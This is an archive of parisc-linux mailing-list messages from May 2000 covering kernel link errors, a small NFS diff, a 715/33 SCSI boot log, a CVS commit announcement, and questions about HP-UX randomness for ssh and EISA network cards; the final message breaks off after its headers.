Approved: news@gmane.org
Message-ID: <20000527115629.A664@puffin.external.hp.com>
References: <200005262326.QAA09671@milano.cup.hp.com> <20000526233720.E31075@thepuffingroup.com> <20000526204522.B24675@puffin.external.hp.com> <20000527000805.G31075@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618938 431 80.91.229.3 (22 Nov 2014 01:15:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:38 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: prumpf@puffin.external.hp.com  Sat May 27 11:56:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA00686
	for <parisc-linux@puffin.external.hp.com>; Sat, 27 May 2000 11:56:31 -0600
Original-Received: (qmail 11291 invoked by uid 15267); 27 May 2000 17:56:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11277 invoked from network); 27 May 2000 17:56:53 -0000
Original-Received: from puffin.external.hp.com (root@192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 27 May 2000 17:56:53 -0000
Original-Received: (from prumpf@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id LAA00681;
	Sat, 27 May 2000 11:56:29 -0600
X-Mailer: Mutt 0.93.2
In-Reply-To: <20000527000805.G31075@thepuffingroup.com>; from willy@thepuffingroup.com on Sat, May 27, 2000 at 12:08:05AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7355

On Sat, May 27, 2000 at 12:08:05AM -0400, willy@thepuffingroup.com wrote:
> On Fri, May 26, 2000 at 08:45:22PM -0600, Philipp Rumpf wrote:
> > > > fs/fs.o: In function `L1184':
> > > > fs/fs.o(.text.init+0x18fc): undefined reference to `nfs_debug'
> > > > net/network.a(sunrpc.o): In function `rpc_create_client':
> > > > sunrpc.o(.text+0x360): undefined reference to `rpc_debug'
> > > 
> > > can't see why you're having trouble here.  those variables are defined in
> > > net/sunrpc/sysctl.c.  is that file being built?  i'm getting a toolchain
> > > up here so I can try to reproduce.  [Dead hard drives SUCK].
> > 
> > grant: did you have CONFIG_SYSCTL set ?  if you didn't, that might
> > explain your problems.
> 
> I think that's the case.  It's disabled by default if you make oldconfig,
> so I'll commit a new defconfig which has it enabled (and has some of
> the new options predefined).
> 
> I'm hitting an undefined __shrdiv3 (or something... lost that error
> message, but it's one of those gcc-wants-64-bit-ops symbols).

lshrdi3 ?  that should be supplied in arch/parisc/lib but isn't.

if it has mul in it, maybe the nfs code wasn't fixed not to use 64-bit
multiplies.  a rather hacky fix for that would be

+++ linux/fs/nfs/nfs2xdr.c      Sun May 14 03:31:27 2000
@@ -658,9 +658,9 @@
        res->maxfilesize = 0x7FFFFFFF;  /* just a guess */
        res->bsize  = ntohl(*p++);
 
-       res->tbytes = ntohl(*p++) * res->bsize;
-       res->fbytes = ntohl(*p++) * res->bsize;
-       res->abytes = ntohl(*p++) * res->bsize;
+       res->tbytes = ntohl(*p++) * ((u32)res->bsize);
+       res->fbytes = ntohl(*p++) * ((u32)res->bsize);
+       res->abytes = ntohl(*p++) * ((u32)res->bsize);
        res->tfiles = 0;
        res->ffiles = 0;
        res->afiles = 0;

but istr it was discussed on l-k and fixed.

Sigh.  Is it really fun for you to run into the very same problems I
had while merging with 2.3.99-pre6 ?

	Philipp Rumpf


From - Thu Nov 08 21:12:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [MERGE] -pre8 merge status
Date: Sat, 27 May 2000 12:00:48 -0600
Lines: 45
Approved: news@gmane.org
Message-ID: <20000527120048.B664@puffin.external.hp.com>
References: <200005262326.QAA09671@milano.cup.hp.com> <20000526233720.E31075@thepuffingroup.com> <20000526204522.B24675@puffin.external.hp.com> <20000527000805.G31075@thepuffingroup.com> <20000527005646.H31075@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618939 434 80.91.229.3 (22 Nov 2014 01:15:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:39 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: prumpf@puffin.external.hp.com  Sat May 27 12:00:51 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA00887
	for <parisc-linux@puffin.external.hp.com>; Sat, 27 May 2000 12:00:50 -0600
Original-Received: (qmail 13030 invoked by uid 15267); 27 May 2000 18:01:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13010 invoked from network); 27 May 2000 18:01:11 -0000
Original-Received: from puffin.external.hp.com (192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 27 May 2000 18:01:11 -0000
Original-Received: (from prumpf@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id MAA00883;
	Sat, 27 May 2000 12:00:48 -0600
X-Mailer: Mutt 0.93.2
In-Reply-To: <20000527005646.H31075@thepuffingroup.com>; from willy@thepuffingroup.com on Sat, May 27, 2000 at 12:56:46AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7356

On Sat, May 27, 2000 at 12:56:46AM -0400, willy@thepuffingroup.com wrote:
> On Sat, May 27, 2000 at 12:08:05AM -0400, willy@thepuffingroup.com wrote:
> > On Fri, May 26, 2000 at 08:45:22PM -0600, Philipp Rumpf wrote:
> > > > > fs/fs.o: In function `L1184':
> > > > > fs/fs.o(.text.init+0x18fc): undefined reference to `nfs_debug'
> > > > > net/network.a(sunrpc.o): In function `rpc_create_client':
> > > > > sunrpc.o(.text+0x360): undefined reference to `rpc_debug'
> > > > 
> > > > can't see why you're having trouble here.  those variables are defined in
> > > > net/sunrpc/sysctl.c.  is that file being built?  i'm getting a toolchain
> > > > up here so I can try to reproduce.  [Dead hard drives SUCK].
> > > 
> > > grant: did you have CONFIG_SYSCTL set ?  if you didn't, that might
> > > explain your problems.
> > 
> > I think that's the case.  It's disabled by default if you make oldconfig,
> > so I'll commit a new defconfig which has it enabled (and has some of
> > the new options predefined).
> 
> Um.  That's definitely bad since then we don't have a sysrq_enabled definition.
> (it's in drivers/char/keyboard.c which we don't use).  But now I've changed
> it to `N', make dep, make clean, make vmlinux and I don't get those undefined
> symbols.  Curioser and curioser.  My .config was generated from `make oldconfig'
> with just hitting return for new options (ie answering `no').
> 
> > I'm hitting an undefined __shrdiv3 (or something... lost that error
> > message, but it's one of those gcc-wants-64-bit-ops symbols).
> 
> __lshrdi3.  It's referenced from fs/nfs/inode.c.  I'm damned if I can
> see where though (and I went through the gcc -E output trying to spot it.)

it's Logical SHift Right DI (i.e. 8 byte).  I.e. somethnig like

u64 foo, bar;

bar = foo >> 7;

if you do s/u64/s64/ in the example, it would generate a call to __ashrdi3,
which we have code in arch/parisc/lib/ashrdi3.c for.  Now look at m68k.
They have code for lshrdi3 in the same place as for ashrdi3.  So, it would
be logical for us to do the same, and I have, in my tree, a few weeks ago
</hint>.
	
	Philipp Rumpf


From - Thu Nov 08 21:12:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [MERGE] -pre8 merge status
Date: Sat, 27 May 2000 12:09:53 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20000527120953.C664@puffin.external.hp.com>
References: <20000527005646.H31075@thepuffingroup.com> <200005271531.LAA08195@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618939 436 80.91.229.3 (22 Nov 2014 01:15:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:39 +0000 (UTC)
Cc: grundler@cup.hp.com, parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>, willy@thepuffingroup.com
Original-X-From: prumpf@puffin.external.hp.com  Sat May 27 12:09:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA01088
	for <parisc-linux@puffin.external.hp.com>; Sat, 27 May 2000 12:09:58 -0600
Original-Received: (qmail 16462 invoked by uid 15267); 27 May 2000 18:10:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16451 invoked from network); 27 May 2000 18:10:19 -0000
Original-Received: from puffin.external.hp.com (root@192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 27 May 2000 18:10:19 -0000
Original-Received: (from prumpf@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id MAA01083;
	Sat, 27 May 2000 12:09:53 -0600
X-Mailer: Mutt 0.93.2
In-Reply-To: <200005271531.LAA08195@hiauly1.hia.nrc.ca>; from John David Anglin on Sat, May 27, 2000 at 11:31:08AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7357

On Sat, May 27, 2000 at 11:31:08AM -0400, John David Anglin wrote:
> > __lshrdi3.  It's referenced from fs/nfs/inode.c.  I'm damned if I can
> > see where though (and I went through the gcc -E output trying to spot it.)
> > Does someone want to copy that from libgcc?  I'm going to lay down a tag
> > for end-of-merge now since I'm headed off for the weekend.
> __lshrdi3 should be in libgcc.a.  It's in mine.  If it is not there, you
> have a problem building your (cross-)compiler.  If it is, check the link
> by adding "-v" to the gcc link operation to see why libgcc.a is not being
> linked into the object.

Our kernel doesn't get linked with libgcc;  I don't think it's worth it to
move to using libgcc.a now, even though some architectures do use it.

	Philipp Rumpf


From - Thu Nov 08 21:12:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/33 booting from SCSI disk nearly ok
Date: Sat, 27 May 2000 11:14:23 -0700 (PDT)
Lines: 236
Approved: news@gmane.org
Message-ID: <20000527181423.19639.qmail@web509.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="0-846930886-959451263=:19400"
X-Trace: ger.gmane.org 1416618939 437 80.91.229.3 (22 Nov 2014 01:15:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:39 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ulrich_strelow@yahoo.com  Sat May 27 12:14:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA01298
	for <parisc-linux@puffin.external.hp.com>; Sat, 27 May 2000 12:14:28 -0600
Original-Received: (qmail 18141 invoked by uid 15267); 27 May 2000 18:14:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18130 invoked from network); 27 May 2000 18:14:50 -0000
Original-Received: from web509.mail.yahoo.com (216.115.104.224)
  by mailserv2.iuinc.com with SMTP; 27 May 2000 18:14:50 -0000
Original-Received: from [149.234.12.1] by web509.mail.yahoo.com; Sat, 27 May 2000 11:14:23 PDT
Xref: news.gmane.org gmane.linux.ports.parisc:7358

--0-846930886-959451263=:19400
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi all,

first the good news: following Paul's excellent palo
documentation I succeeded to boot my 715/33 from its
internal HP C3324A SCSI disk. I booted the kernel from
the special F0 partition and used the ext2 fs on
partition 2 as the root filesystem.

But booting the kernel /vmlinux directly from the ext2
filesystem fails. Here is the bootlog:

Trying scsi.5.0
Boot path initialized.
Attempting to load IPL.

Hard booted.
palo ipl ulli@Ullis_PC Fri May 26 21:42:53 MEST 2000
0/vmlinux 2381159 bytes @ 0x44000
0/palo-cmdline '2/vmlinux HOME=/ TERM=LINUX
console=tty root=/dev/sda2'
/dev/ida1  f0         32      22496
/dev/ida2  83      22528    2027520
/dev/ida5  f0         32      22496
Kernel: partition 2 file /vmlinux
ext2 block size 1024
ext2_mount(partition 2) returns 0
ext2_open(/vmlinux) = -1
open /vmlinux failed

I have attached the successful bootlog using the
recovery kernel in case it helps diagnosing this
problem.

Ulrich

__________________________________________________
Do You Yahoo!?
Kick off your party with Yahoo! Invites.
http://invites.yahoo.com/
--0-846930886-959451263=:19400
Content-Type: text/plain; name="bootlog_f0.txt"
Content-Description: bootlog_f0.txt
Content-Disposition: inline; filename="bootlog_f0.txt"

              (c) Copyright Hewlett-Packard Company, 1991, 1992
Portions of this code are (c) Copyright Samsung Electronics Co., Ltd, 91, 92

PDC ROM rev. 1.4
IODC ROM rev. 1.2
48 MB of memory have been configured.


Selecting a system to boot.
To stop selection process, press and hold the ESCAPE key.

Selection process stopped.

Searching for Potential Boot Devices.
To terminate search, press and hold the ESCAPE key.

Device Selection      Device Path              Device Type
----------------------------------------------------------------------------

P0                    scsi.6.0                 HP      C2490AM
P1                    scsi.5.0                 HP      C3324A



b)    Boot from specified device
s)    Search for bootable devices
a)    Enter Boot Administration mode
x)    Exit and continue boot sequence
?)    Help

Select from menu: b p1 isl

Trying scsi.5.0
Boot path initialized.
Attempting to load IPL.


Soft booted.
palo ipl ulli@Ullis_PC Fri May 26 21:42:53 MEST 2000
0/vmlinux 2381159 bytes @ 0x44000
0/palo-cmdline '2/vmlinux HOME=/ TERM=LINUX console=tty root=/dev/sda2'
/dev/ida1  f0         32      22496
/dev/ida2  83      22528    2027520
/dev/ida5  f0         32      22496
0/vmlinux HOME=/ TERM=LINUX console=tty root=/dev/sda2
Kernel: partition 0 file /vmlinux
ELF32 executable
                prepare_loadable 0050368c 2

Entry 0010197c first 00100000 n 4
Segment 0 load 00100000 size 1357564 mediaptr 0x1000
Segment 1 load 0024c000 size 108584 mediaptr 0x14d000
Segment 2 load 00268000 size 58776 mediaptr 0x168000
Segment 3 load 00278000 size 8192 mediaptr 0x177000
branching to kernel entry point 0x0010197c
The Kernel has started...
Free memory starts at: 0xc02e4000
PALO command line: 'HOME=/ TERM=LINUX console=tty root=/dev/sda2'
PALO initrd 0-0
FP CCR was 0x0, will be set to 0xc0
model   00003110 00000481 00000000 00000000 78294d38 ffffffff 00000004 0000000a
0000000a
vers    00000013
CPUID vers 0 rev 0
CPU(s): 1 x PA7100 at 33.333500 MHz
Searching for devices in PDC firmware...  an older box...
Found devices:
1. Stinger Optional Graphics (10) at 0xf4000000, versions 0x6, 0x0, 0x77, 0x0, 0
x0
2. Scorpio Jr. Core BA (11) at 0xf082f000, versions 0xb, 0x0, 0x70, 0x0, 0x0
3. Scorpio Jr. Core SCSI (10) at 0xf0825000, versions 0xb, 0x0, 0x71, 0x0, 0x0
4. Scorpio Jr. Core LAN (802.3) (10) at 0xf0826000, versions 0xb, 0x0, 0x72, 0x0
, 0x0
5. Scorpio Jr. Core HIL (10) at 0xf0821000, versions 0xb, 0x0, 0x73, 0x0, 0x0
6. Scorpio Jr. Core RS-232 (10) at 0xf0823000, versions 0xb, 0x0, 0x75, 0x0, 0x0

7. Scorpio Jr. Core RS-232 (10) at 0xf0822000, versions 0xb, 0x0, 0x75, 0x0, 0x0

8. Scorpio Jr. Core Centronics (10) at 0xf0824000, versions 0xb, 0x0, 0x74, 0x0,
 0x0
9. Scorpio Jr. Audio (10) at 0xf1000000, versions 0xb, 0x0, 0x7b, 0x0, 0x0
10. Scorpio Jr.(715/33) (0) at 0xfffbe000, versions 0x311, 0x0, 0x4, 0x0, 0x81
11. Scorpio Jr. (1) at 0xfffbf000, versions 0x1b, 0x0, 0x9, 0x0, 0x0
That's a total of 11 devices.
Linux version 2.3.99-pre1 (ulli@Ullis_PC) (gcc version 2.9-hppa-991112) #3 Fri M
ay 26 21:34:53 MEST 2000
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 12288
zone(0): 6144 pages.
zone(1): 6144 pages.
zone(2): 0 pages.
trap_init
Calibrating delay loop... 25.60 BogoMIPS
Memory: 45276k available
kmem_test() - start
kmem_free: Bad front redzone (objp=c2ffe004, name=test-cachep)
kmem_free: Bad rear redzone (objp=c2ffe004, name=test-cachep)
kmem_test() - finished
c2ff0000 c2ff8000 c2fee000 c2ffc000
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
POSIX conformance testing by UNIFIX
ASP version 1 at 0xf0800000 found.
request_irq(259, c01f843c, 0x0, asp, c2fe9080)
ASP IRQ 259 EIM 0xfffe0003
busdevice_alloc_irq(0xf0823000) on ASP 0x200 + 26 = 538
Found serial #0 at 0xf0823000, IRQ 538
ttyS00 at iomem 0xf0823800 (irq = 538) is a 16550A
busdevice_alloc_irq(0xf0822000) on ASP 0x200 + 25 = 537
Found serial #1 at 0xf0822000, IRQ 537
ttyS00 at iomem 0xf0822800 (irq = 537) is a 16550A
busdevice_alloc_irq(0xf0826000) on ASP 0x200 + 23 = 535
Found i82596 at 0xf0826000, IRQ 535
early initialization of device eth0 is deferred
Linux NET4.0 for Linux 2.3
Based upon Swansea University Computer Society NET3.039
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 4096 bind 4096)
Starting kswapd v1.6
Serial driver version 4.92 (2000-1-27) with MANY_PORTS SHARE_IRQ SERIAL_PCI enab
led
pty: 256 Unix98 ptys configured
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
Lasi Scsi (53c700) found at 0xf0825100
busdevice_alloc_irq(0xf0825000) on ASP 0x200 + 22 = 534
sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 534
scsi0: Revision 0x0
Post test1, istat 05, sstat0 00, dstat 84
sim700: WARNING IRQ probe failed, (returned 0)
scsi0: test 1 completed ok.
request_irq(534, c01ebe0c, 0x20000000, sim700, c2fcf260)
busdev_enable_irq(c2fe9080, 22) ASP: IMR 0x200
scsi0: sim700_intr_handle() called with no interruptscsi0 : LASI/Simple 53c700
scsi : 1 host.
  Vendor: HP        Model: C3324A            Rev: HP08
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sda at scsi0, channel 0, id 5, lun 0
  Vendor: HP        Model: C2490AM           Rev: 5193
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sdb at scsi0, channel 0, id 6, lun 0
scsi : detected 2 SCSI disks total.
SCSI device sda: hdwr sector= 512 bytes. Sectors= 2051460 [1001 MB] [1.0 GB]
Partition check:
 sda: sda1 sda2
SCSI device sdb: hdwr sector= 512 bytes. Sectors= 4165272 [2033 MB] [2.0 GB]
 sdb: unknown partition table
82596: 6 0 0 at c0261f24
82596: 6 f0826000 217 at c2fecc00
82596.c: MAC of HP700 LAN blindely read from the prom!
eth0: 82596 at 0xf0826000, 08 00 09 83 9B 3F IRQ 535.
82596.c $Revision: 1.9 $
request_irq(535, c01bac38, 0x0, i82596, c2fecc00)
busdev_enable_irq(c2fe9080, 23) ASP: IMR 0x300
busdev_disable_irq(c2fe9080, 23) ASP: IMR 0x200
busdev_enable_irq(c2fe9080, 23) ASP: IMR 0x300
eth0: link ok.
Sending BOOTP requests.... OK
IP-Config: Got BOOTP answer from 149.234.204.34, my address is 149.234.204.66
VFS: Mounted root (ext2 filesystem) readonly.
tty_open
searching for 4/64
found 136/[0,256]
found 128/[0,256]
found 3/[0,256]
found 2/[0,256]
found 5/[64,64]
found 4/[64,64]
driver: -1070780592
retval 0
request_irq(538, c01a59a4, 0x4000000, serial, c02d3934)
busdev_enable_irq(c2fe9080, 26) ASP: IMR 0x320
driver.open 0
Stand-alone shell (version 2.1)
> -ls
.
..
dev
lost+found
palo
proc
sbin
vmlinux
>
--0-846930886-959451263=:19400--


From - Thu Nov 08 21:12:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Creasey <sammy@oh.verio.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] impending CVS commit
Date: Sun, 28 May 2000 12:41:57 -0400 (EDT)
Lines: 44
Approved: news@gmane.org
Message-ID: <Pine.GSO.3.96.1000528115357.22599F-100000@users.qual.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618940 440 80.91.229.3 (22 Nov 2014 01:15:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:40 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: sammy@oh.verio.com  Sun May 28 10:41:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA30846
	for <parisc-linux@puffin.external.hp.com>; Sun, 28 May 2000 10:41:36 -0600
Original-Received: (qmail 12099 invoked by uid 15267); 28 May 2000 16:41:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12083 invoked from network); 28 May 2000 16:41:59 -0000
Original-Received: from dfw-smtpout1.email.verio.net (129.250.36.41)
  by mailserv2.iuinc.com with SMTP; 28 May 2000 16:41:59 -0000
Original-Received: from [129.250.38.64] (helo=dfw-mmp4.email.verio.net)
	by dfw-smtpout1.email.verio.net with esmtp (Exim 3.12 #7)
	id 12w68U-00076l-00
	for parisc-linux@thepuffingroup.com; Sun, 28 May 2000 16:41:58 +0000
Original-Received: from users.qual.net ([209.57.253.2])
	by dfw-mmp4.email.verio.net with esmtp (Exim 3.12 #7)
	id 12w68U-0001By-00
	for parisc-linux@thepuffingroup.com; Sun, 28 May 2000 16:41:58 +0000
Original-Received: from localhost (sammy@localhost)
	by users.qual.net (8.9.3/8.9.3) with SMTP id MAA22280
	for <parisc-linux@thepuffingroup.com>; Sun, 28 May 2000 12:41:57 -0400 (EDT)
X-Authentication-Warning: users.qual.net: sammy owned process doing -bs
X-Sender: sammy@users.qual.net
Xref: news.gmane.org gmane.linux.ports.parisc:7359


It looks like I've gone a little overboard this weekend....  enough so
that I feel my commit requires more than just a CVS log, anyway....

1) I managed to fix the HPMC that's been plaguing me for months...  it
turns out that if an interrupt fires while the kernel stack is being setup
to handle a syscall, bad things happen....   Easy fix, interrupts are now
disabled during syscall entry and exit (doesn't seem to be any problem
once the stack's proper....)

2) I was forced to add save/restore for the FP registers..  Doing so
cleaned up much of the abarrant behavior I'd been seeing in userspace
from the kernel trashing fp regs.
On the downside, it adds 30-some instructions to each of the
syscall/interrrupt entry and exit points.  

The kernel won't come close to compiling with -mdisable-fpregs, so we
can't take the easy route of just storing them during a full context
switch.  There's likely room for some improvement that doesn't involve 32
64-bit stores all the time.  nonetheless, it at least provides an
astonishingly reliable userspace... 


Well, unfortunately that got me far enough to compile lmbench onto the
thing, which led to....

3) Writing the cache/tlb flush code..  It's "a little" zippier now...  And
seems to be equally as stable (tends to avoid randomly halting...  I've
not seen an HPMC in hours, as opposed to every 5 minutes).   pagefault
times improved by 1-2 orders of magnitude...   our context switch latency
is still what I would consider crappy, but I'm not sure what those times
are really supposed to be like on a machine without proper hardware
contexts...  

at any rate, I'll be checking in in a few minutes after I go over the
changes a bit more...  enjoy.


"UN-altered REPRODUCTION and DISSEMINATION of this IMPORTANT
Information is ENCOURAGED, ESPECIALLY to COMPUTER BULLETIN BOARDS."
	-- Robert E. McElwaine




From - Thu Nov 08 21:12:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Peter A. Peterson II" <pedro@flynn.zork.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP-UX random number generator?
Date: Mon, 29 May 2000 02:49:31 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <20000529024931.B11779@flynn.zork.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618940 444 80.91.229.3 (22 Nov 2014 01:15:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:40 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pedro@flynn.northpark.edu  Mon May 29 01:49:09 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA03679
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 May 2000 01:49:09 -0600
Original-Received: (qmail 19182 invoked by uid 15267); 29 May 2000 07:49:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19175 invoked from network); 29 May 2000 07:49:32 -0000
Original-Received: from flynn.northpark.edu (206.68.40.29)
  by mailserv2.iuinc.com with SMTP; 29 May 2000 07:49:32 -0000
Original-Received: from pedro by flynn.northpark.edu with local (Exim 3.12 #1 (Debian))
	id 12wKIl-0003KE-00
	for <parisc-linux@thepuffingroup.com>; Mon, 29 May 2000 02:49:31 -0500
Mail-Followup-To: parisc-linux@thepuffingroup.com
User-Agent: Mutt/1.0.1i
X-pw: reindeer flotilla
X-Breakfast-Special: Eggs=scrambled_hard; Toast=rye
Original-Sender: "Peter A. Peterson II" <pedro@flynn.northpark.edu>
Xref: news.gmane.org gmane.linux.ports.parisc:7360

I'm awaiting the day when I can fool around with Linux on my E-45, but
in the meantime, I'm trying to use it's tape drive to back up my
traditional Linux boxen via piping a tarball through ssh.  However, ssh 
needs a random generator (like /dev/urandom/) and I don't know what an 
HP-UX equivalent might be, or how to go about installing one. 

Any ideas?

pedro

-- 
-----------------------------------------------
      "She's laughin in her sleeve, boys;
   I can feel it in my bones."  -- Tom Waits
-----------------------------------------------


From - Thu Nov 08 21:12:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ed June <buggz@america.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] EISA 10/100 nic for 715 systems ?
Date: Mon, 29 May 2000 04:32:20 -0400
Organization: buggz.net
Lines: 14
Approved: news@gmane.org
Message-ID: <39322B14.309E348B@america.net>
References: <20000407121957.21801.qmail@web502.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618940 445 80.91.229.3 (22 Nov 2014 01:15:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:40 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: buggz@america.net  Mon May 29 02:28:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA04164
	for <parisc-linux@puffin.external.hp.com>; Mon, 29 May 2000 02:28:26 -0600
Original-Received: (qmail 2737 invoked by uid 15267); 29 May 2000 08:28:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2727 invoked from network); 29 May 2000 08:28:50 -0000
Original-Received: from smtp.america.net (199.170.121.14)
  by mailserv2.iuinc.com with SMTP; 29 May 2000 08:28:50 -0000
Original-Received: from america.net (buggz@tnt1-15.america.net [206.67.248.15])
	by smtp.america.net (8.9.1/8.9.1) with ESMTP id EAA19513
	for <parisc-linux@thepuffingroup.com>; Mon, 29 May 2000 04:28:44 -0400 (EDT)
Original-Sender: buggz@smtp.america.net
X-Mailer: Mozilla 4.73 [en] (X11; I; Linux 2.3.42 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7361

Were there ever any EISA 10/100 LAN cards for 715 systems?
I have found straight 10's and 100's, but not a switching one.



--

 Ed June

 buggz@america.net
 Linux: An open choice for free people worldwide.




From - Thu Nov 08 21:12:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sandy Harris <sandy@storm.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX random number generator?
Date: Mon, 29 May 2000 06:27:49 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <39324625.977B5A74@storm.ca>
References: <20000529024931.B11779@flynn.zork.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
